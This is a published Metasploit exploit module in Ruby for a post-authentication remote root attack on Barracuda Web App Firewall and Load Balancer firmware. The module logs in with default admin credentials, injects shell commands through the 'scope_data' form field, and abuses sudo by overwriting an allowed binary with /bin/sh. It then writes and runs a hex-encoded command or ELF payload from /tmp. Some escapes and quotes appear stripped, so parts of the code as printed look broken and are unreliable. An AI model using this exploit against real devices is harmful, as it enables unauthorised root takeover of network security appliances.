Barracuda Web App Firewall / Load Balancer Remote Root
Posted on 23 July 2016
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit # Date: 07/21/16 # Exploit Author: xort xort@blacksecurity.org # Vendor Homepage: https://www.barracuda.com/ # Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall # Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07) # Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07) # CVE : None. # vuln: ondefine_modify_admin_role trigger exploit require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit', 'Description' => %q{ This module exploits a remote command execution vulnerability in the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004 by exploiting a vulnerability in the web administration interface. By sending a specially crafted request it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces. }, 'Author' => [ 'xort', # vuln + metasploit module ], 'Version' => '$Revision: 2 $', 'References' => [ [ 'none', 'none'], ], 'Platform' => [ 'linux'], 'Privileged' => true, 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell' ], 'Privileged' => false, 'Payload' => { 'Compat' => { 'ConnectionType' => 'find', } }, 'Targets' => [ ['Barracuda Web App Firewall Firmware Version <= 8.0.1.007 (2016-01-07)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl" } ], ['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd" } ], ], 'DefaultTarget' => 0)) register_options( [ OptString.new('PASSWORD', [ false, 'Device password', "" ]), OptString.new('ET', [ false, 'Device password', "" ]), OptString.new('USERNAME', [ true, 'Device password', "admin" ]), OptString.new('CMD', [ false, 'Command to execute', "" ]), Opt::RPORT(8000), ], self.class) end def do_login(username, password_clear, et) vprint_status( "Logging into machine with credentials... " ) # vars timeout = 1550; enc_key = Rex::Text.rand_text_hex(32) # send request res = send_request_cgi( { 'method' => 'POST', 'uri' => "/cgi-mod/index.cgi", 'headers' => { 'Accept' => "application/json, text/javascript, */*; q=0.01", 'Content-Type' => "application/x-www-form-urlencoded", 'X-Requested-With' => "XMLHttpRequest" }, 'vars_post' => { 'enc_key' => enc_key, 'et' => et, 'user' => "admin", # username, 'password' => "admin", # password_clear, 'enctype' => "none", 'password_entry' => "", 'login_page' => "1", 'login_state' => "out", 'real_user' => "", 'locale' => "en_US", 'form' => "f", 'Submit' => "Sign in", } }, timeout) # get rid of first yank password = res.body.split(' ').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result et = res.body.split(' ').grep(/(.*)et=([^&]+)&/){$2}[0] return password, et end def run_command(username, password, et, cmd) vprint_status( "Running Command... " ) sudo_cmd_exec = target.SudoCmdExec sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}" sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c " # random filename to dump too + 'tmp' HAS to be here. dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4)) encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12') injection_string = "printf "#{encoded_cmd}" > #{dumpfile} ; /bin/chmod +x #{dumpfile} ; #{sudo_run_cmd_1} ; #{sudo_run_cmd_2} #{dumpfile} ; rm #{dumpfile}" exploitreq = [ [ "auth_type","Local" ], [ "et",et ], [ "locale","en_US" ], [ "password", password ], [ "primary_tab", "BASIC" ], [ "realm","" ], [ "secondary_tab","reports" ], [ "user", username ], [ "timestamp", Time.now.to_i ], [ "scope", "" ], [ "scope_data", "; #{injection_string} ;" ], # vuln [ "modify_admin_role", "" ] ] boundary = "---------------------------" + Rex::Text.rand_text_numeric(34) post_data = "" exploitreq.each do |xreq| post_data << "--#{boundary} " post_data << "Content-Disposition: form-data; name="#{xreq[0]}" " post_data << "#{xreq[1]} " end post_data << "--#{boundary}-- " res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi-mod/index.cgi", 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'headers' => { 'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", 'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 'Accept-Language' => "en-US,en;q=0.5" } }) end def run_script(username, password, et, cmds) vprint_status( "running script... ") end def exploit # timeout timeout = 1550; user = "admin" # params real_user = ""; login_state = "out" et = Time.now.to_i locale = "en_US" user = "admin" password = "admin" enctype = "MD5" password_entry = "" password_clear = "admin" password_hash, et = do_login(user, password_clear, et) vprint_status("new password: #{password_hash} et: #{et} ") sleep(5) # if no 'CMD' string - add code for root shell if not datastore['CMD'].nil? and not datastore['CMD'].empty? cmd = datastore['CMD'] # Encode cmd payload encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12') # kill stale calls to bdump from previous exploit calls for re-use run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf "#{encoded_cmd}" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" )) else # Encode payload to ELF file for deployment elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) encoded_elf = elf.unpack("H*").join().gsub(/(w)(w)/,'\x12') # kill stale calls to bdump from previous exploit calls for re-use run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf "#{encoded_elf}" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" )) handler end end end
